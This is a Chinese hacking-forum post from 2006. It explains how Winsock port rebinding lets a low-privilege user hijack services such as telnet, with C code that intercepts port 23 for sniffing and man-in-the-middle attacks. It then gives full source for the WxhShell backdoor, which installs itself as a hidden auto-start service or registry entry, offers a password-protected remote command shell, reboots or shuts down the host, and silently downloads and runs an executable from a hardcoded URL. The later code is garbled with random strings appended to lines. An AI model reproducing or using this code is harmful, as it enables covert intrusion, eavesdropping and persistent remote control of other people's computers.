[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道

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0 发表于: 2006-09-01

在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

　　saddr.sin_family = AF_INET;

　　saddr.sin_addr.s_addr = htonl(INADDR_ANY);

　　bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

　　这意味着什么？意味着可以进行如下的攻击：

　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）

　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。

　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　

　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。

　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。

　　#include
　　#include
　　#include
　　#include 　　
　　DWORD WINAPI ClientThread(LPVOID lpParam);　　
　　int main()
　　{
　　WORD wVersionRequested;
　　DWORD ret;
　　WSADATA wsaData;
　　BOOL val;
　　SOCKADDR_IN saddr;
　　SOCKADDR_IN scaddr;
　　int err;
　　SOCKET s;
　　SOCKET sc;
　　int caddsize;
　　HANDLE mt;
　　DWORD tid;　　
　　wVersionRequested = MAKEWORD( 2, 2 );
　　err = WSAStartup( wVersionRequested, &wsaData );
　　if ( err != 0 ) {
　　printf("error!WSAStartup failed!\n");
　　return -1;
　　}
　　saddr.sin_family = AF_INET;
　　
　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了

　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
　　saddr.sin_port = htons(23);
　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = TRUE;
　　//SO_REUSEADDR选项就是可以实现端口重绑定的
　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
　　{
　　printf("error!setsockopt failed!\n");
　　return -1;
　　}
　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击

　　if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
　　{
　　ret=GetLastError();
　　printf("error!bind failed!\n");
　　return -1;
　　}
　　listen(s,2);
　　while(1)
　　{
　　caddsize = sizeof(scaddr);
　　//接受连接请求
　　sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
　　if(sc!=INVALID_SOCKET)
　　{
　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
　　if(mt==NULL)
　　{
　　printf("Thread Creat Failed!\n");
　　break;
　　}
　　}
　　CloseHandle(mt);
　　}
　　closesocket(s);
　　WSACleanup();
　　return 0;
　　}　　
　　DWORD WINAPI ClientThread(LPVOID lpParam)
　　{
　　SOCKET ss = (SOCKET)lpParam;
　　SOCKET sc;
　　unsigned char buf[4096];
　　SOCKADDR_IN saddr;
　　long num;
　　DWORD val;
　　DWORD ret;
　　//如果是隐藏端口应用的话，可以在此处加一些判断
　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　
　　saddr.sin_family = AF_INET;
　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
　　saddr.sin_port = htons(23);
　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = 100;
　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
　　{
　　printf("error!socket connect failed!\n");
　　closesocket(sc);
　　closesocket(ss);
　　return -1;
　　}
　　while(1)
　　{
　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
　　//如果是嗅探内容的话，可以再此处进行内容分析和记录
　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
　　num = recv(ss,buf,4096,0);
　　if(num>0)
　　send(sc,buf,num,0);
　　else if(num==0)
　　break;
　　num = recv(sc,buf,4096,0);
　　if(num>0)
　　send(ss,buf,num,0);
　　else if(num==0)
　　break;
　　}
　　closesocket(ss);
　　closesocket(sc);
　　return 0 ;
　　}

==========================================================

下边附上一个代码，，WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER 100 // 最大客户端连接数
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 输入 buffer

#define REBOOT 0 // 重启
#define SHUTDOWN 1 // 关机

#define DEF_PORT 5000 // 监听端口

#define REG_LEN 16 // 注册表键长度
#define SVC_LEN 80 // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
int ws_port; // 监听端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安装标记, 1=yes 0=no
char ws_regname[REG_LEN]; // 注册表键名
char ws_svcname[REG_LEN]; // 服务名
char ws_svcdisp[SVC_LEN]; // 服务显示名
char ws_svcdesc[SVC_LEN]; // 服务描述信息
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
int ws_downexe; // 下载执行标记, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};

// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};

// 自我安装
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);

// 如果是win9x系统，修改注册表设为自启动
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {

// 如果是NT以上系统，安装为系统服务
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 自我卸载
int Uninstall(void)
{
HKEY key;

if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {

SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];

strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}

GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;

}

// 系统电源模块
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}

return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}

return;
}

// 获取操作系统版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;

while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;

handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;

while (nUser < MAX_USER) {

if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {

// 设置超时
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd=chr[0]; 5EfS^MRf\n
if(chr[0]==0xd || chr[0]==0xa) { G@Z?&"
pwd=0; 7?%k7f
break; xcf%KXJf6
} oGRhnP'PF+
i++; M )2`+/4
} x HhN
A,LuD.8
// 如果是非法用户，关闭 socket i?F >+
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _\GC(
} =Fr(9(
E0?iXSJ
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ])!o5`ltZ
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a0ObBe'
Aj4T"^fv
while(1) { UTH_^HAN#G
Sh8"F@P8
ZeroMemory(cmd,KEY_BUFF); " _ka<R..
;hjwD
// 自动支持客户端 telnet标准 vt9)pMs
j=0; e;[F\ov%
while(j<KEY_BUFF) { Pw61_ZZ4B\
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @>U-t{W
cmd[j]=chr[0]; KSNPkd6
if(chr[0]==0xa || chr[0]==0xd) { "PpN0Rr
cmd[j]=0; mA=i)Ga
break; Oal3rb
} *=*AAF
j++; z21|Dhiw&
} /Bm( `T
#Q`dku%V:
// 下载文件 m-*hygkcDu
if(strstr(cmd,"http://")) { vCwe'q`1
send(wsh,msg_ws_down,strlen(msg_ws_down),0); H"dJ6
if(DownloadFile(cmd,wsh)) iB& 4>+N+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); z=3\Ab
else -#HA"7XOE
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hs$GN]
} 0PrLuejz
else { M%kO7>h8
Oz%>/zw[h
switch(cmd[0]) { X'qU*Eo
LpqO{#ZG
// 帮助 ftF@Wq1f
case '?': { / :n#`o=;
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F 70R1OYU
break; ^kB8F"X
} $H9%J
// 安装 J:zU,IIJ
case 'i': { Q{5kxw1ZF
if(Install()) 3skC$mpJHw
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,~]tg77
else %s(k_|G+4
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 57&b:0`p
break; S-|)QGxV6
} ,^. 88<
// 卸载 k+ty>bP=
case 'r': { c:o]d)S
if(Uninstall()) = < oBgD0k
send(wsh,msg_ws_err,strlen(msg_ws_err),0); RpD=]y!5_
else T"DlT/\
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >)M`IU[d^.
break; CyXRi}W.
} |* ;B
// 显示 wxhshell 所在路径 |='z{WS
case 'p': { z-.+x3&o @
char svExeFile[MAX_PATH]; 6U R2IxbE
strcpy(svExeFile,"\n\r"); 9vvx*rD
strcat(svExeFile,ExeFile); 5Ezw ~hn
send(wsh,svExeFile,strlen(svExeFile),0); Pf\D-1gi
break; esMX-.8Cx
} Dw<bn<e-
// 重启 SX# e:_
case 'b': { O4V.11FnW
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); KQg]0y d
if(Boot(REBOOT)) <BMXCk
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )6D,d5<
else { :i.{
closesocket(wsh); "C{}Z
ExitThread(0); .xm.DRk3
} vRHd&0
break; xk5@d6Y{r
} 42(Lb'G
// 关机 &p4&[H?
case 'd': { 7KAO+\)H^Y
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); uJC~LC N
if(Boot(SHUTDOWN)) 9{5&^RbCp
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }n3/vlW9
else { <4g{ fT0
closesocket(wsh); G(G{RAk>
ExitThread(0); ~5CBEIF(NS
} ZOeQ+j)|I
break; 65#'\+
} 1]@}|
// 获取shell C,ARXW1
case 's': { \1fN0e
CmdShell(wsh); hM6PP7XH
closesocket(wsh); @W[f1
ExitThread(0); rPLm5ni
break; rLI8pA|.
} opy("qH
// 退出 Y6zbo
case 'x': { IJ(
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8{^WY7.'
CloseIt(wsh); @oV9)
break; <FcG oGK
} e} P I^bc
// 离开 XH}\15X
case 'q': { |ZRagn30
send(wsh,msg_ws_end,strlen(msg_ws_end),0); lFV N07hG
closesocket(wsh); $ us]35Z3
WSACleanup(); Af'" 6BS
exit(1); ]v]qChZHd
break; jU9$Ehg I
} ~,oMz<iMV
} 3c]b)n~Y
} gT0BkwIV
[BqHx5Xz(
// 提示信息 z8SmkL
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e%@~MQ-
} >aj7||K
} +#lM
^h~x)@=
return; `lO[x.[
} v*SEb~[
LSGBq
// shell模块句柄 B&[M7i
int CmdShell(SOCKET sock) W;'!gpa
{ qUob?| ^
STARTUPINFO si; 2\jPv`Ia
ZeroMemory(&si,sizeof(si)); LWz&YF#T-
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; YkniiB[/
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; w35J.zn
PROCESS_INFORMATION ProcessInfo; {f2S/$q
char cmdline[]="cmd"; xp}hev^@$
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2(u,SQ
return 0; G IT>L
} Y&d00
<UV1!2nv*
// 自身启动模式 E[@ u 3i8
int StartFromService(void) $RIecv<e_
{ t\{'F7
typedef struct `_`QxM
{ `.FF!P:{C*
DWORD ExitStatus; M^r1S
DWORD PebBaseAddress; T|7}EAR=b
DWORD AffinityMask; .<x&IJ /
DWORD BasePriority; gv)P]{%^
ULONG UniqueProcessId; lOuHVa*}
ULONG InheritedFromUniqueProcessId; \{Z;:,S
} PROCESS_BASIC_INFORMATION; >*#1ZB_l
1 u| wMO
PROCNTQSIP NtQueryInformationProcess; r? NznNVU
=|3ek
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; T92UeG
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]B%v+uaW
Po__-xN>Q
HANDLE hProcess; kb{]>3Y"
PROCESS_BASIC_INFORMATION pbi; s:#V(<J
sk,ox~0R
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mpI5J'>]
if(NULL == hInst ) return 0; F+,~v-
}z _
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "$ Y_UJT7
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); jkiFLtB@V
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bx{$Y_L+p
![YX]+jqNp
if (!NtQueryInformationProcess) return 0; @eD):Y
tD(7^GuR
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +cgSC5nR
if(!hProcess) return 0; RrX[|GLSJ
2ORNi,_I
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <lw` 3aa(
j9?}j#@
CloseHandle(hProcess); EQb7-vhg
3DiLk=\~
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wQP^WzNE
if(hProcess==NULL) return 0; e vrXo"3
[SHXJ4P*
HMODULE hMod; %k-3?%&8
char procName[255]; ein4^o<f.
unsigned long cbNeeded; ryW'Z{+r'
Hv sob
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &]e'KdXF
s2'yY(u/
CloseHandle(hProcess); q>$ev)W
,SynnE68
if(strstr(procName,"services")) return 1; // 以服务启动 iYORu3
Tl$[4heE
return 0; // 注册表启动 NdtB1b
} Bg5Wba%NK
Q&wB$*u
// 主模块 v(B<Nb
int StartWxhshell(LPSTR lpCmdLine) ^W'fA{sr
{ e+$p9k~
SOCKET wsl; +$C4\$t
BOOL val=TRUE; 8jd;JPz@\
int port=0; P `}zlml
struct sockaddr_in door; %QH)'GJQ
-fwoTGlX
if(wscfg.ws_autoins) Install(); `x l
<49K>S9O
port=atoi(lpCmdLine); {sihus#Q
?t/~lv
if(port<=0) port=wscfg.ws_port; r@v,T8
K`iv c N"
WSADATA data; p7veQ`yNc
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *BR~}1 i
;> _$`
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ,Sq/y~
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ohFJZ'
door.sin_family = AF_INET; F~%]6^$w
door.sin_addr.s_addr = inet_addr("127.0.0.1"); [Sr,h0h6
door.sin_port = htons(port); 8YZbP5'
U=DmsnD,
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A )^`?m3
closesocket(wsl); GN ]cDik
return 1; ]ndvt[4L
} Kqp(%8mf
&Sl[lXE
if(listen(wsl,2) == INVALID_SOCKET) { y4t7`-,~
closesocket(wsl); jhXkSj
return 1; Q<h-FW8z
} yaah*1ip[
Wxhshell(wsl); 9K5pwC\$%
WSACleanup(); ),UX4%K=
Gb8D[1=u=
return 0; r\b3AKrIN
mQCeo}7N5
} WFO4gB*
jNLw=
// 以NT服务方式启动 AvxfI"sp
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3HLNCt09
{ Xf02"PXC
DWORD status = 0; : >6F+XZ
DWORD specificError = 0xfffffff; MHh~vy'HB5
Wc,~{
serviceStatus.dwServiceType = SERVICE_WIN32; w.H%R-Be
serviceStatus.dwCurrentState = SERVICE_START_PENDING; X9p.gXF
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9z}uc@#D=m
serviceStatus.dwWin32ExitCode = 0; M)eO6oX|
serviceStatus.dwServiceSpecificExitCode = 0; B:gjAb}9T
serviceStatus.dwCheckPoint = 0; *of3:w
serviceStatus.dwWaitHint = 0; JRSSn]pw
19O,a#{KHf
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $^OvhnL/
if (hServiceStatusHandle==0) return; RA KFU
d]:I(9K
status = GetLastError(); w8kOVN2b
if (status!=NO_ERROR) -R57@D>j\
{ Fs{x(_LOr
serviceStatus.dwCurrentState = SERVICE_STOPPED; q;<h[b?
serviceStatus.dwCheckPoint = 0; _CW(PsfY
serviceStatus.dwWaitHint = 0; :bz}c48%
serviceStatus.dwWin32ExitCode = status; [z9`)VIe
serviceStatus.dwServiceSpecificExitCode = specificError; "}pNe"ok
SetServiceStatus(hServiceStatusHandle, &serviceStatus); \hBG<nH{0
return; NdL,F;^
} 62O.?Ij
@2Z#x
serviceStatus.dwCurrentState = SERVICE_RUNNING; i\KQ!f>A
serviceStatus.dwCheckPoint = 0; jUSmqm'
serviceStatus.dwWaitHint = 0; -u2P ?~
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); SS$[VV
} {DU`[:SQZg
oASY7k_3
// 处理NT服务事件，比如：启动、停止 }emN9Rj
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2$?C7(kW
{ f!s=(H;
switch(fdwControl) Zb1<:[
{ q:dHC,fO
case SERVICE_CONTROL_STOP: t.laO. 3
serviceStatus.dwWin32ExitCode = 0; /9HVY %n
serviceStatus.dwCurrentState = SERVICE_STOPPED; R{ a"Y$
serviceStatus.dwCheckPoint = 0; Q^ pmQ
serviceStatus.dwWaitHint = 0; B[V+ND'(
{ +)y^'Qs
SetServiceStatus(hServiceStatusHandle, &serviceStatus); { jhr<
} VY~yg*
return; +6';1Nb@
case SERVICE_CONTROL_PAUSE: U@-^C"R
serviceStatus.dwCurrentState = SERVICE_PAUSED; GH+r?2<
break; e6d<dXx
case SERVICE_CONTROL_CONTINUE: qOSM}ei>s
serviceStatus.dwCurrentState = SERVICE_RUNNING; QV{}K
break; w*oeK
case SERVICE_CONTROL_INTERROGATE: 4<%*E{`
break; nq6@6GRG
}; >N]7IU[-
SetServiceStatus(hServiceStatusHandle, &serviceStatus); yp$_/p O=2
} xn5l0'2
/Y'Vh^9/T
// 标准应用程序主函数 KO]T<R h<
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) eu(:`uu
{ +tVaBhd!
So0f)`A
// 获取操作系统版本 kdl:Wt*4o
OsIsNt=GetOsVer(); SzjkI+-$:
GetModuleFileName(NULL,ExeFile,MAX_PATH); s (zL
gREzZ+([
// 从命令行安装 my}-s
if(strpbrk(lpCmdLine,"iI")) Install(); f ` R/ i
<4P4u*/o
// 下载执行文件 B5X(ykaX~
if(wscfg.ws_downexe) { f6p-s y>
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &Rvm>TC=
WinExec(wscfg.ws_filenam,SW_HIDE); *q()f\
} @>p<3_Y1
j!]YNH@
